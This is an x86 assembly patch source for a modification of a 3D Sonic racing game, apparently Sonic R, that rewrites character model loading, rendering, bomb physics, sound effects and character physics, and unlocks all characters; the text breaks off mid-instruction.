.org 0x44DF9C mov ebx, [ebp-0x100] movzx edx, word ptr [ebx+0x22] add ebx, edx shl ebx, 6 add ebx, dword ptr [CharModel_BasePtr] .org 0x44DFB2, 0x90 .org 0x44DFBC mov ecx, [ebp-0x100] movzx edx, word ptr [ecx+0x24] add ecx, edx add ecx, dword ptr [CharModel_BasePtr] .org 0x44DFD2, 0x90 .org 0x44DFFB add edx, dword ptr [CharModel_BasePtr] .org 0x44E001, 0x90 .org 0x44E50E add edx, dword ptr [CharModel_BasePtr] .org 0x44E514, 0x90 .org 0x44E52C mov esi, [ebp-0x30] add esi, [ebx] shl esi, 6 add esi, dword ptr [CharModel_BasePtr] .org 0x44E53E, 0x90 .org 0x44E564 add ebx, dword ptr [CharModel_BasePtr] .org 0x44E56A, 0x90 .org 0x44E593 add ecx, dword ptr [CharModel_BasePtr] .org 0x44E599, 0x90 #; Read VirtualLeftBound from donor address in Direct3D 2D renderer .org 0x450C38 D3D_Render2DObject: . = 0x450C8E .byte 0xFC #; Always render rings .org 0x454C00 .org 0x454C02, 0x90 #; Malloc-D3D_RenderMenuCharacters .org 0x45572B lea eax, [ebx*2 + ebx] mov ebx, dword ptr [CharModel_QuadPtr] .org 0x455739, 0x90 .org 0x455755 lea eax, [ebx*2 + ebx] mov ebx, dword ptr [AnimFrames_BasePtr] .org 0x455763, 0x90 .org 0x4558F7 add ecx, [CharModel_BasePtr] .org 0x4558FD, 0x90 .org 0x455A8A add ebx, dword ptr [CharModel_VertexPtr] movzx eax, word ptr [ebx+0x20] mov edi, dword ptr [CharModel_BasePtr] .org 0x455A9B, 0x90 .org 0x455ABA movzx eax, word ptr [ebx+0x22] mov esi, dword ptr [CharModel_BasePtr] .org 0x455AC5, 0x90 .org 0x455ADE movzx eax, word ptr [ebx+0x24] mov edx, dword ptr [CharModel_BasePtr] .org 0x455AE9, 0x90 .org 0x455B18 movzx eax, word ptr [ebx+0x26] mov edx, dword ptr [CharModel_BasePtr] .org 0x455B23, 0x90 #; Disable character tinting on menus #; Quad A .org 0x455F38 mov edx, 0x00FFFFFF .org 0x455F57, 0x90 #; Quad B .org 0x455FF8 mov eax, 0xFFFFFFFF .org 0x456019, 0x90 #; Quad C .org 0x4560BE mov eax, 0xFFFFFFFF .org 0x4560F1, 0x90 #; Quad D .org 0x456196 mov edx, 0xFFFFFFFF .org 0x4561C9, 0x90 #; Tri A .org 0x456410 mov edx, 0xFFFFFFFF .org 0x456431, 0x90 #; Tri B .org 0x4564D0 mov eax, [ebp-0xC4] mov edx, 0xFFFFFFFF .org 0x4564F7, 0x90 #; Tri C .org 0x456596 mov eax, 0xFFFFFFFF .org 0x4565C9, 0x90 #; Skip rendering Tails' tails .org 0x45660E jmp loc_456D3A .org 0x456614, 0x90 .org 0x45667B add esi, dword ptr [CharModel_BasePtr] .org 0x456681, 0x90 .org 0x4566A2 mov edx, [ebp-0x6C] add edx, [eax] shl edx, 6 add edx, dword ptr [CharModel_BasePtr] .org 0x4566B4, 0x90 .org 0x4566DC mov edi, [ebp-0x6C] add edi, [eax] shl edi, 6 add edi, dword ptr [CharModel_BasePtr] .org 0x4566EE, 0x90 .org 0x456717 mov edx, [ebp-0x6C] add edx, [eax] shl edx, 6 add edx, dword ptr [CharModel_BasePtr] .org 0x456729, 0x90 .org 0x456D3A loc_456D3A: #; Disable rendering jump ball so we can reuse that space for the Boost Bar .org 0x45B089 .org 0x45B08E, 0x90 .org 0x4621D2 MenuFadeIn_ret: #; Malloc-D3D_DisplayPlayerModel .org 0x463772 lea eax, [edx*2 + edx] mov edx, dword ptr [CharModel_QuadPtr] .org 0x463780, 0x90 .org 0x4637BA lea eax, [edx*2 + edx] mov edx, dword ptr [AnimFrames_BasePtr] mov [ebp-0xF8], ecx .org 0x4637CE, 0x90 .org 0x463FBE add ebx, dword ptr [CharModel_BasePtr] .org 0x463FC4, 0x90 .org 0x4640BC add ebx, dword ptr [CharModel_VertexPtr] #;CHECKME .org 0x4640C2, 0x90 .org 0x4640D4 movzx eax, word ptr [ebx+0x20] mov edi, dword ptr [CharModel_BasePtr] .org 0x4640DF, 0x90 .org 0x4640FA movzx eax, word ptr [ebx+0x22] mov ecx, dword ptr [CharModel_BasePtr] .org 0x46410B, 0x90 .org 0x46412C movzx eax, word ptr [ebx+0x24] mov esi, dword ptr [CharModel_BasePtr] .org 0x464137, 0x90 .org 0x464164 movzx eax, word ptr [ebx+0x26] mov edx, dword ptr [CharModel_BasePtr] .org 0x46416F, 0x90 #; Enable backface culling in-game for D3D .org 0x4641A2 jmp loc_46433E .org 0x4641A8, 0x90 .org 0x46433E loc_46433E: #; Disable shading in-game for D3D #; Quad A .org 0x46465E #mov edx, [ebp-0x38] #mov eax, 0xFFFFFFFF mov edx, [ebp-0x100] mov edx, [edx+0x1BC] #; we'll reserve this one for tinting .org 0x464688, 0x90 #;.org 0x46468F #;.org 0x464692, 0x90 #; Quad B #.org 0x46474A .org 0x464731 #mov eax, 0xFFFFFFFF mov eax, [ebp-0x100] mov eax, [eax+0x1BC] .org 0x464752, 0x90 #; Quad C .org 0x4647FB #.org 0x464814 #mov edx, 0xFFFFFFFF mov edx, [ebp-0x100] mov edx, [edx+0x1BC] .org 0x46481C, 0x90 #; Quad D .org 0x4648C9 #mov edx, 0xFFFFFFFF mov edx, [ebp-0x100] mov edx, [edx+0x1BC] mov eax, [ebp-0x38] jmp loc_464D6C nop #;.org 0x464904, 0x90 #; Tri backface .org 0x464907 jmp loc_464976 .org 0x464909, 0x90 .org 0x464976 loc_464976: #; Tri A .org 0x464BA0 #mov edx, 0xFFFFFFFF mov edx, [ebp-0x100] mov edx, [edx+0x1BC] .org 0x464BC1, 0x90 #; Tri B .org 0x464C6E #mov edx, 0xFFFFFFFF mov edx, [ebp-0x100] mov edx, [edx+0x1BC] .org 0x464C8F, 0x90 #; Tri C .org 0x464D45 #mov edx, 0xFFFFFFFF mov edx, [ebp-0x100] mov edx, [edx+0x1BC] .org 0x464D66, 0x90 .org 0x464D6C loc_464D6C: #; Disable Tails' smooth tails in-game for D3D .org 0x464D94 jmp MenuFadeIn_ret .org 0x464E14 mov esi, [ebp-0x54] add esi, [eax] shl esi, 6 add esi, dword ptr [CharModel_BasePtr] .org 0x464E26, 0x90 .org 0x464E4E mov edx, [ebp-0x54] add edx, [eax] shl edx, 6 add edx, dword ptr [CharModel_BasePtr] .org 0x464E60, 0x90 .org 0x464E91 mov edx, [ebp-0x54] add edx, [eax] shl edx, 6 add edx, dword ptr [CharModel_BasePtr] .org 0x464EA3, 0x90 .org 0x464EE0 add edi, dword ptr [CharModel_BasePtr] .org 0x464EE6, 0x90 #; Malloc-sub_469AE0 /*.org 0x469B01 lea eax, [edx*4 + edx] mov edx, dword ptr [Sonic_ModelAttribBasePtr] .org 0x469B0F, 0x90*/ .org 0x46A34A lea eax, [edx*2 + edx] mov edx, dword ptr [CharModel_QuadPtr] .org 0x46A358, 0x90 .org 0x46A38B lea eax, [edx*2 + edx] mov edx, dword ptr [AnimFrames_BasePtr] .org 0x46A399, 0x90 .org 0x46A6B8 add ebx, dword ptr [CharModel_BasePtr] .org 0x46A6BE, 0x90 .org 0x46A910 mov edx, [esp+0xAC] imul edx, [edx+8], 0x30 add edx, dword ptr [CharModel_VertexPtr] #;CHECKME .org 0x46A922, 0x90 .org 0x46A954 movzx eax, word ptr [edx+0x20] mov edx, [esp+0xAC] add eax, [edx] mov esi, dword ptr [CharModel_BasePtr] .org 0x46A968, 0x90 .org 0x46A97E movzx eax, word ptr [edx+0x22] mov edx, [esp+0xAC] add eax, [edx] mov ecx, dword ptr [CharModel_BasePtr] .org 0x46A992, 0x90 .org 0x46A9A8 movzx eax, word ptr [edx+0x24] mov edx, [esp+0xAC] add eax, [edx] mov ebx, dword ptr [CharModel_BasePtr] .org 0x46A9BC, 0x90 .org 0x46A9E5 movzx eax, word ptr [edx+0x26] mov edx, [esp+0xAC] add eax, [edx] mov edi, dword ptr [CharModel_BasePtr] .org 0x46A9F9, 0x90 #; Malloc-sub_470460 .org 0x470460 push ebx push edx push esi mov esi, ds:Game_QuadCount mov edx, dword ptr [CharModel_VertexPtr] #;CHECKME .org 0x47046F, 0x90 .org 0x4704D5 cmp word ptr [ebx], 0 .org 0x4704DB, 0x90 .org 0x4704EB pop esi pop edx pop ebx ret .org 0x4704EF, 0x90 #; Don't overwrite textures? .org 0x470564 ret .org 0x470580 ret #; Unlock all 8 characters by default! .org 0x470DC8 UnlockDefaults: .org 0x470DEF mov edi, eax #; Metal Pt.1 .org 0x470E11 mov [0x008FBA74], eax #; Nack mov [0x008FBA78], eax #; Silver mov [0x008FBA7C], eax #; Blaze mov [0x008FBA80], eax #; ??? .org 0x470E29, 0x90 .org 0x470E46 .org 0x470E48, 0x90 #; Metal Pt.2 #; Use Nack instead of EggRobo for Reactive Factory challenge race .org 0x471AF3 mov eax, 4 .org 0x471AF8, 0x90 #; InitLevel #; Hijack some old 8-bit GFX function call to init our stuff .org 0x475D4A call InitLevel_2 pop edi pop esi pop edx pop ecx pop ebx ret #; LoadCharacters .org 0x475D58, 0x0B0F LoadCharacters: QuadCount = 6000 TriCount = 6000 VertexCount = 6000 AnimFrameCount = 15000 push ebp mov ebp, esp push edi push esi push ebx sub esp, 660 #; This is probably cdecl push OFFSET FLAT:LoadCharacters.LC0 push OFFSET FLAT:LoadCharacters.LC1 push 1 call GetFileMatchCount add esp, 12 mov DWORD PTR [ebp-556], eax xor ebx, ebx mov DWORD PTR Game_ModelCount, ebx mov DWORD PTR Game_VertexCount, ebx mov DWORD PTR Game_TriCount, ebx mov DWORD PTR Game_QuadCount, ebx mov DWORD PTR Game_AnimFrameCount, ebx #; Allocate stuff mov eax, (QuadCount*24) call _nmalloc_ mov CharModel_QuadPtr, eax mov eax, ( (TriCount*24) + (QuadCount*32) ) call _nmalloc_ mov CharModel_VertexPtr, eax mov eax, (VertexCount*64) call _nmalloc_ mov CharModel_BasePtr, eax mov eax, (100000*32) call _nmalloc_ mov Sonic_GouradPtr, eax mov eax, (AnimFrameCount*80) call _nmalloc_ mov AnimFrames_BasePtr, eax #; Character loop start LoadCharacters.L2: cmp ebx, DWORD PTR [ebp-556] jge LoadCharacters.L9 lea edi, [ebp-544] lea esi, [ebp-284] #; wsprintf is cdecl push ebx push OFFSET FLAT:LoadCharacters.LC2 push edi call wsprintfA add esp, 12 push edi push esi call lstrcpyA push OFFSET FLAT:LoadCharacters.LC3 push esi call lstrcatA mov eax, esi call Parse3DCharacter push edi push esi call lstrcpyA #; Gourads /*push OFFSET FLAT:LoadCharacters.LC4 push esi call lstrcatA imul eax, ebx, 80 #mov edx, DWORD PTR Sonic_ModelAttribBasePtr mov edx, OFFSET Sonic_ModelAttribBasePtr #mov DWORD PTR [ebp-564], eax add edx, eax mov eax, esi call Parse3DGourads #; Probably thinks this is cdecl!*/ #; Attributes push OFFSET FLAT:LoadCharacters.LC7 push esi call lstrcatA mov eax, esi call LoadAttribs push OFFSET FLAT:LoadCharacters.LC5 push edi push 0 call GetFileMatchCount add esp, 12 mov DWORD PTR [ebp-560], eax xor esi, esi #; Animation loop LoadCharacters.L3: cmp esi, DWORD PTR [ebp-560] jge LoadCharacters.L10 lea eax, [ebp-544] lea edi, [ebp-284] push esi #; i push eax #; /bin/chars/?/ push OFFSET FLAT:LoadCharacters.LC6 push edi call wsprintfA add esp, 16 mov eax, edi mov edx, ebx call Parse3DAnimations inc esi jmp LoadCharacters.L3 #; Character loop end LoadCharacters.L10: #; Model height imul edx, ebx, 80 add edx, OFFSET (Sonic_ModelAttribBasePtr + 76) add [edx], DWORD PTR 0x20 #; Increment counter and loop if last one inc ebx cmp ebx, DWORD PTR [ebp-556] je LoadCharacters.L2 #; Set next character's animation start index mov edx, [Game_AnimFrameCount] imul eax, ebx, 80 add eax, OFFSET (Sonic_AnimFrameIdx) mov DWORD PTR [eax], edx jmp LoadCharacters.L2 #; Return LoadCharacters.L9: lea esp, [ebp-12] pop ebx pop esi pop edi pop ebp ret Unused2: .org 0x476750, 0x0B0F LoadCharacterGourads: ret #; More unused space if needed Unused3: .org 0x4767F7, 0x0B0F #; Always have Sonic tokens in GP mode, because why not? .org 0x47E621 .org 0x47E649, 0x90 #; Malloc-sub_47FD04 .org 0x47FD24 imul eax, eax, 30 add eax, dword ptr [CharModel_VertexPtr] #;CHECKME .org 0x47FD2F, 0x90 .org 0x47FDE8 Char_SetBlinkState: ret .org 0x47FEA0 Render_SetBlinkTexture: ret #; CPUfix 1 . = 0x480184 .byte 0xB8, 0x31, 0x00, 0x00, 0x00, 0x90, 0x90 #; CPUfix 2 . = 0x4801A0 .byte 0xB8, 0x01, 0x00, 0x00, 0x00, 0x90, 0x90 #; InitHook inject . = 0x4801E9 call InitLoop #; Cutoff speed for slope physics SlopeFix_SpeedCutoff = 1000 #; Cutoff angle for slope physics SlopeFix_AngleCutoff = 0x0FFFFF138 .org 0x480910 Eggman_ShootMissile: #; Fix Bomb_Update to use FPU and vector math #; instead of terrible integer hacks that don't work .org 0x480D74 Bomb_Update: .org 0x480D8D loc_480D8D: .org 0x480D93 jz loc_481121 #;.org 0x480DA1 #;jz loc_480D8D .org 0x480DBA push ebx push ecx push ebp push edi push esi push ebx sub esp, 24 mov eax, DWORD PTR [esp+40] mov ecx, DWORD PTR [esp+44] mov edx, DWORD PTR [eax] mov edi, DWORD PTR [ecx] sar edx, 4 mov ebx, edi sub ebx, edx mov esi, DWORD PTR [ecx+4] mov edx, DWORD PTR [eax+4] mov DWORD PTR [esp+4], ebx sar edx, 4 mov ebx, esi sub ebx, edx mov eax, DWORD PTR [eax+8] fild DWORD PTR [esp+4] sar eax, 4 mov DWORD PTR [esp+4], ebx mov ebx, DWORD PTR [ecx+8] mov edx, ebx sub edx, eax fild DWORD PTR [esp+4] mov DWORD PTR [esp+4], edx fild DWORD PTR [esp+4] fld st(2) fmul st, st(3) fld st(2) fmul st, st(3) faddp st(1), st fld st(1) fmul st, st(2) faddp st(1), st fsqrt fld DWORD PTR Bomb_Update.LC1 fxch st(1) fcom st(1) fnstsw ax test ah, 69 je Bomb_Update.L2 fstp st(1) fld st(0) Bomb_Update.L2: fdivp st(1), st fnstcw WORD PTR [esp+14] mov ax, WORD PTR [esp+14] mov ah, 12 mov WORD PTR [esp+12], ax fmul st(3), st fxch st(3) #;fldcw WORD PTR [esp+12] fistp DWORD PTR [esp+8] #;fldcw WORD PTR [esp+14] fxch st(1) fmul st, st(2) mov ebp, DWORD PTR [esp+8] neg ebp mov DWORD PTR [ecx+12], ebp #;sub edi, ebp #;fldcw WORD PTR [esp+12] fistp DWORD PTR [esp+8] #;fldcw WORD PTR [esp+14] fmulp st(1), st mov edx, DWORD PTR [esp+8] neg edx mov DWORD PTR [ecx+16], edx #;sub edx, esi #;fldcw WORD PTR [esp+12] fistp DWORD PTR [esp+8] #;fldcw WORD PTR [esp+14] mov eax, DWORD PTR [esp+8] #;mov DWORD PTR [ecx], edi neg eax mov DWORD PTR [ecx+20], eax #;sub eax, ebx #;mov DWORD PTR [ecx+4], edx #;mov DWORD PTR [ecx+8], eax add esp, 24 pop ebx pop esi pop edi pop ebp pop ecx pop ebx #;.org 0x480F31, 0x90 loc_480F31: #; CODE XREF: Bomb_Update+18Ej #; Bomb_Update+1A7j mov ax, [edi] xor ah, ah and al, 0x1F mov ecx, [ebx] cwde sar ecx, 8 sub eax, 0x10 add ecx, eax imul eax, ebp, 0x3C shl ecx, 8 #;mov ds:Render_ParticleArray[eax], ecx mov dword ptr 0x907F20[eax], ecx mov dx, [edi+2] xor dh, dh and dl, 0x1F movsx ecx, dx mov edx, [ebx+4] sub ecx, 0x10 sar edx, 8 add ecx, edx shl ecx, 8 mov dword ptr 0x907F24[eax], ecx mov cx, [edi+4] xor ch, ch and cl, 0x1F mov edx, [ebx+8] movsx ecx, cx sar edx, 8 sub ecx, 0x10 add ecx, edx shl ecx, 8 mov edx, 0x0FFFFFFE0 mov dword ptr 0x907F28[eax], ecx mov dword ptr 0x907F38[eax], edx xor ecx, ecx mov dword ptr 0x907F2C[eax], ecx mov dword ptr 0x907F30[eax], ecx mov edx, 0x0A mov dword ptr 0x907F34[eax], ecx mov word ptr 0x907F3E[eax], dx mov ecx, 0x210 mov edx, 1 mov word ptr 0x907F40[eax], cx mov word ptr 0x907F42[eax], dx xor ecx, ecx mov edx, 0x40 mov dword ptr 0x907F44[eax], ecx mov dword ptr 0x907F48[eax], edx mov ecx, 3 mov word ptr 0x907F4C[eax], cx mov edx, 0x20 mov word ptr 0x907F4E[eax], cx mov word ptr 0x907F50[eax], dx mov ecx, 0x10 add edi, 2 mov word ptr 0x907F3C[eax], cx xor dl, dl mov word ptr 0x907F52[eax], cx add edi, 2 mov byte ptr 0x907F54[eax], dl mov dh, 0x50 #;mov cl, byte ptr ds:ShadowFootstepTexPage mov cl, byte ptr [0x8F6C28] mov byte ptr 0x907F55[eax], dh add edi, 2 mov byte ptr 0x907F56[eax], cl mov edx, 0x10 inc ebp mov word ptr 0x907F58[eax], dx cmp ebp, 0x3C jl short loc_481050 xor ebp, ebp loc_481050: #; CODE XREF: Bomb_Update+2D8j mov eax, dword ptr 0x907AF4[esi] mov ecx, [ebx] mov edx, [eax] sar ecx, 8 sar edx, 0x0C sub ecx, edx imul ecx, ecx mov edx, [ebx+4] sar edx, 8 mov [esp+0x14-0x14], edx mov edx, [eax+4] sar edx, 0x0C mov [esp+0x14-0x4], edx mov edx, [esp+0x14-0x14] sub edx, [esp+0x14-0x4] add edx, 0x1E mov [esp+0x14-0xC], edx mov [esp+0x14-0x4], ecx mov ecx, [esp+0x14-0xC] imul ecx, ecx mov edx, [ebx+8] sar edx, 8 mov [esp+0x14-0x14], edx mov edx, [eax+8] sar edx, 0x0C mov [esp+0x14-0x10], edx mov edx, [esp+0x14-0x14] sub edx, [esp+0x14-0x10] mov [esp+0x14-0x8], edx mov edx, [esp+0x14-0x4] add edx, ecx mov ecx, [esp+0x14-0x8] imul ecx, ecx add ecx, edx cmp ecx, 0x3000 jge loc_480D8D mov ecx, [ebx+0x0C] #; Bomb hit knockback shl ecx, 4 mov dword ptr [eax+0x30], 0x0FFFE8000 #; Y speed neg ecx #; Kill velocity by inverting physics. Roll with it... mov [eax+0x2C], ecx #; X speed mov ecx, [ebx+0x14] mov word ptr [eax+0x96], 1 #; Stop flight mov word ptr [eax+0x72], 0 #; Make airborne mov word ptr [eax+0xEA], 0x38 #; *ring loss noise* mov word ptr [eax+0x98], 5 #; Falling shl ecx, 4 mov dword ptr [eax+0x204], 0x30003 #; Pointless diagnostic thing? neg ecx mov [eax+0x34], ecx #; Z speed #; Subtract 20 rings! (Make it super evil~!) cmp dword ptr [eax+0x18], 0 #; Are we already at 0? je loc_480170 #; If so, change SFX sub dword ptr [eax+0x18], 20 #; If not, subtract 20 rings cmp dword ptr [eax+0x18], 0 #; Are we below 0? jge loc_480180 #; If not, continue mov dword ptr [eax+0x18], 0 #; Snap to 0 jmp loc_480180 loc_480170: mov word ptr [eax+0xEA], 15 #; *fwoooom* instead (no rings to scatter) loc_480180: mov word ptr [ebx+0x1E], 0 #; Clear bomb from particle list xor ebx, ebx mov dword ptr 0x907AF0[esi], ebx jmp loc_480D8D #; --------------------------------------------------------------------------- loc_481121: #; CODE XREF: Bomb_Update+1Fj mov dword ptr [0x9020A0], ebp #;mov ds:RNGPtr, edi mov dword ptr [0x901CD0], edi add esp, 0x14 pop ebp pop edi pop esi pop edx pop ecx pop ebx ret .org 0x481138, 0x0B0F #; Change character-specific SFX .org 0x4828AC .int offset SetSFXIntensity_Tails #; Tails .int offset SetSFXIntensity_Null #; Knux .int offset SetSFXIntensity_Null #; Amy .int offset SetSFXIntensity_Null #; Fang .int offset SetSFXIntensity_Jet #; Metal Sonic .int offset SetSFXIntensity_Silver #; Silver .int offset SetSFXIntensity_Null #; Blaze .org 0x48297B SetSFXIntensity_Tails: .org 0x48299A jmp SetSFXIntensity_Null #; Disable SFX when running nop mov edx, 0x0B mov edi, 0x28 #; Lower pitch of SFX .org 0x4829AA, 0x90 .org 0x4829D0 SetSFXIntensity_Silver: #; Get hover state cmp dword ptr [esi+0x1A0], 1 jnz SetSFXIntensity_Null #; I dunno, make some fun noise mov edx, ebx mov eax, ebx sar edx, 0x1F sub eax, edx sar eax, 1 lea ebx, [eax+0x40] mov eax, [ebp-0x20] mov dword ptr [ebp-0x10], eax mov dword ptr [ebp-0x1C], 1 .org 0x482A16, 0x90 SetSFXIntensity_Jet: .org 0x482A37 SetSFXIntensity_Null: .org 0x4853A8 CharDiff_Jump: .org 0x4855E8 CharDif_CheckSpring: #; Jump table for CharPhysics .org 0x485740 .int offset CharDif_Action_Sonic .int offset CharDif_Action_Tails .int offset CharDif_Action_Knux .int offset CharDif_Action_Amy .int offset CharDif_Action_Fang .int offset CharDif_Action_MSonic .int offset CharDif_Action_Silver .int offset CharDif_Action_Blaze .int offset CharDiff_SlopePhysics .int offset CharDiff_SlopePhysics #; Brand new character physics routine .org 0x485768 CharPhysics: var_58 = -0x58 var_54 = -0x54 var_50 = -0x50 var_4C = -0x4C UnkAttrib = -0x48 var_44 = -0x44 Deaccel = -0x40 AirStatus = -0x3C var_38 = -0x38 MaxFwdSpeed = -0x34 ebx84 = -0x30 JumpHeight = -0x2C Accel = -0x28 TurnTraction = -0x24 Drift = -0x20 TurnSpeed = -0x1C Temp01 = -0x18 Input = -0x14 var_10 = -0x10 push ebp mov ebp, esp push ebx push ecx push esi push edi sub esp, 0x48 mov ebx, eax #; EBX = Char RAM base mov word ptr [ebp+Input], dx xor ecx, ecx mov edx, 0x44000 mov [ebp+var_44], ecx mov [ebp+MaxFwdSpeed], edx movsx edx, word ptr [eax+0x0F2] shl edx, 7 #; [EAX+0x0F2] = Player Identity #; Top Speed (stores to ESI) mov esi, (CharModel_AttribStart+0x3C)[edx] #; Get from lookup table #; Accel Speed mov ecx, (CharModel_AttribStart+0x40)[edx] lea eax, [ecx*4] sub eax, ecx mov ecx, eax sar ecx, 31 sub eax, ecx sar eax, 1 mov [ebp+Accel], eax #; Turn traction mov eax, (CharModel_AttribStart+0x50)[edx] mov [ebp+TurnTraction], eax #; Actually deaccel?! #; Flat-land decel mov eax, (CharModel_AttribStart+0x54)[edx] sar eax, 1 mov [ebp+Deaccel], eax #; Actually jump height! #; Jump height mov eax, (CharModel_AttribStart+0x58)[edx] mov [ebp+JumpHeight], eax #; Rolling Acceleration mov eax, (CharModel_AttribStart+0x5C)[edx] mov [ebp+var_38], eax #; Water top speed? (Stores in EDI) mov edi, (CharModel_AttribStart+0x60)[edx] #; Unknown mov eax, (CharModel_AttribStart+0x4C)[eax] mov [ebp+UnkAttrib], eax #; Turn speed (standing still/midair) mov ecx, (CharModel_AttribStart+0x44)[edx] #; Slipperiness mov eax, (CharModel_AttribStart+0x48)[edx] mov [ebp+TurnSpeed], eax #; Multiplayer? If so, get out mov edx, ds:Game_HudStyle cmp edx, 1 jnz short loc_4858E1 cmp ds:Game_HUDTTStyle, dword ptr 0 #; Time Trial? jnz short loc_4858E1 mov edx, ds:CatchUpOpt #; CatchUp Off? cmp edx, 1 jnz short loc_4858E1 mov eax, [ebx+0x5A] #; Part of the timer? sar eax, 0x10 cmp eax, edx jle short loc_4858E1 lea edx, [esi*4] #; Rubber band the top speed add edx, esi mov eax, edx sar edx, 0x1F shl edx, 2 sbb eax, edx sar eax, 2 mov esi, eax cmp eax, 0x3C000 jle short loc_4858E1 mov esi, 0x3C000 loc_4858E1: #; CODE XREF: CharPhysics+135j #; CharPhysics+13Ej ... mov eax, ds:Game_HudStyle cmp eax, 2 #; Time Attack? jnz short loc_4858F7 cmp eax, ds:Game_HUDTTStyle jg CharDif_ActionStart loc_4858F7: #; CODE XREF: CharPhysics+181j /* movsx eax, word ptr [ebx+0x0F2] #; ?? cmp eax, 3 #; Sonic-Amy jle short loc_485913 movsx eax, word ptr [ebx+0x0F2] cmp eax, 8 #; EggRobo or S. Sonic? jl CharDif_ActionStart #; (AKA Not the metal chars)*/ loc_485913: #; CODE XREF: CharPhysics+199j /* movsx eax, word ptr [ebx+0x0F2] cmp eax, 8 #; EggRobo jnz short loc_485931*/ mov eax, [ebx+0x96] #; Time in air? sar eax, 0x10 cmp eax, 0x0C jz CharDif_ActionStart loc_485931: #; CODE XREF: CharPhysics+1B5j /* movsx eax, word ptr [ebx+0x0F2] cmp eax, 9 #; Super Sonic? jnz short loc_48594F mov eax, [ebx+0x96] sar eax, 0x10 cmp eax, 0x0C jz CharDif_ActionStart*/ loc_48594F: #; CODE XREF: CharPhysics+1D3j cmp word ptr [ebx+0x72], 0 #; On Ground? jz CharDif_ActionStart cmp ds:Game_Course, dword ptr 5 #; Radiant Emerald jz CharDif_ActionStart mov edx, ds:Game_Weather cmp edx, 1 #; Rainy? jnz short loc_4859B3 CharDif_Rain: mov eax, [ebp+TurnSpeed] lea edx, [eax*4] add edx, eax mov [ebp+Temp01], dword ptr 6 mov eax, edx sar edx, 0x1F idiv dword ptr [ebp+Temp01] #; TurnSpeed * 5/6 mov [ebp+TurnSpeed], eax mov eax, [ebp+TurnTraction] lea edx, [eax*4] add edx, eax mov [ebp+Temp01], dword ptr 6 mov eax, edx sar edx, 0x1F idiv dword ptr [ebp+Temp01] mov [ebp+TurnTraction], eax jmp CharDif_ActionStart #; -------------------------------------------------------------------------- loc_4859B3: #; CODE XREF: CharPhysics+208j cmp edx, 2 #; Snowy? jnz CharDif_ActionStart cmp dword ptr [ebx+0x200], 0 jz short CharDif_Snow CharDif_Ice: mov eax, [ebp+TurnSpeed] lea edx, [eax*4] sub edx, eax mov [ebp+Temp01], dword ptr 6 mov eax, edx sar edx, 0x1F idiv dword ptr [ebp+Temp01] #; TurnSpeed * 1/2 mov [ebp+TurnSpeed], eax mov eax, [ebp+TurnTraction] lea edx, [eax*4] sub edx, eax mov [ebp+Temp01], dword ptr 6 mov eax, edx sar edx, 0x1F idiv dword ptr [ebp+Temp01] mov [ebp+TurnTraction], eax jmp CharDif_ActionStart #; -------------------------------------------------------------------------- CharDif_Snow: #; CODE XREF: CharPhysics+25Bj mov edx, [ebp+TurnSpeed] mov eax, 6 shl edx, 2 mov [ebp+Temp01], eax mov eax, edx sar edx, 0x1F idiv dword ptr [ebp+Temp01] #; TurnSpeed * 2/3 mov edx, [ebp+TurnTraction] mov [ebp+TurnSpeed], eax mov eax, 6 shl edx, 2 mov [ebp+Temp01], eax mov eax, edx sar edx, 0x1F idiv dword ptr [ebp+Temp01] mov [ebp+TurnTraction], eax CharDif_ActionStart: #; CODE XREF: CharPhysics+189j #; CharPhysics+1A5j ... mov eax, [ebx+0x20] mov ds:CharDif_X, eax mov eax, [ebx+0x24] mov ds:CharDif_Y, eax mov eax, [ebx+0x28] mov edx, [ebx+0x24] mov ds:CharDif_Z, eax mov eax, [ebx+4] #; Actual Y sub eax, edx mov [ebx+0x0E4], eax #; DeltaY? mov eax, [ebx] #; Actual X mov [ebx+0x20], eax #; X Mirror mov eax, [ebx+4] #; Actual Y mov [ebx+0x24], eax #; Y Mirror mov eax, [ebx+8] #; Actual Z mov [ebx+0x28], eax #; Z Mirror mov ax, [ebx+0x0F2] #; Controls jump action cmp ax, 9 #; switch 10 cases ja CharDiff_SlopePhysics #; default and eax, 0x0FFFF jmp 0x485740[eax*4] #; switch jump CharDif_Action_Sonic: #; DATA XREF: BEGTEXT:0x485740o mov eax, [ebx+0x84] #; I'll bet you this is rolling sar eax, 0x10 mov [ebp+ebx84], eax test eax, eax jg loc_485F62 #; Dunno test byte ptr [ebp+Input], 0x40 #; Camera jz loc_4860B0 mov eax, [ebx+0x70] #; On Ground? sar eax, 0x10 cmp eax, 1 jnz loc_4860B0 cmp dword ptr [ebx+0x68], 0 #; Water walk timer jnz loc_4860B0 mov al, byte ptr [ebp+Input+1] test al, 0x40 #; Left jnz loc_4860B0 test al, 0x80 #; Right jnz loc_4860B0 #; Are we moving? cmp dword ptr [ebx+0x44], 0 #; Forward Speed jnz short loc_485F32 cmp dword ptr [ebx+0x48], 0 #; ?? jnz short loc_485F32 cmp dword ptr [ebx+0x2C], 0 #; X Speed jnz short loc_485F32 cmp dword ptr [ebx+0x34], 0 #; Z Speed jnz short loc_485F32 mov word ptr [ebx+0x86], 2 jmp loc_4860B9 #; -------------------------------------------------------------------------- loc_485F32: #; CODE XREF: CharPhysics+7A8j #; CharPhysics+7AEj ... dec word ptr [ebx+0x86] mov eax, [ebx+0x84] sar eax, 0x10 cmp eax, 0x0FFFFFFFC jge loc_4860B9 mov word ptr [ebx+0x0EA], 0x0A #; Set sound to roll mov word ptr [ebx+0x86], 1 #; Roll mode flag? jmp loc_4860B9 #; -------------------------------------------------------------------------- loc_485F62: #; CODE XREF: CharPhysics+768j cmp eax, 2 #; Start rolling logic jl short loc_485FC8 mov ah, byte ptr [ebp+Input] test ah, 0x40 #; Camera jz short loc_485FC8 #test ah, 1 #; Jump #jz short loc_485FB1 cmp [ebp+ebx84], dword ptr 0x80 jge loc_4860B9 add word ptr [ebx+0x86], 0x81 mov eax, [ebx+0x84] sar eax, 0x10 cmp eax, 0x86 jle short loc_485FA3 mov word ptr [ebx+0x86], 0x86 loc_485FA3: #; CODE XREF: CharPhysics+830j mov word ptr [ebx+0x0EA], 8 #; Set sound to spindash charge jmp loc_4860B9 #; -------------------------------------------------------------------------- loc_485FB1: #; CODE XREF: CharPhysics+80Aj mov ax, [ebx+0x86] xor ah, ah and al, 0x7F mov [ebx+0x86], ax jmp loc_4860B9 #; -------------------------------------------------------------------------- loc_485FC8: #; CODE XREF: CharPhysics+7FDj #; CharPhysics+805j mov eax, [ebx+0x84] #; Spindash start sar eax, 0x10 cmp eax, 2 jz 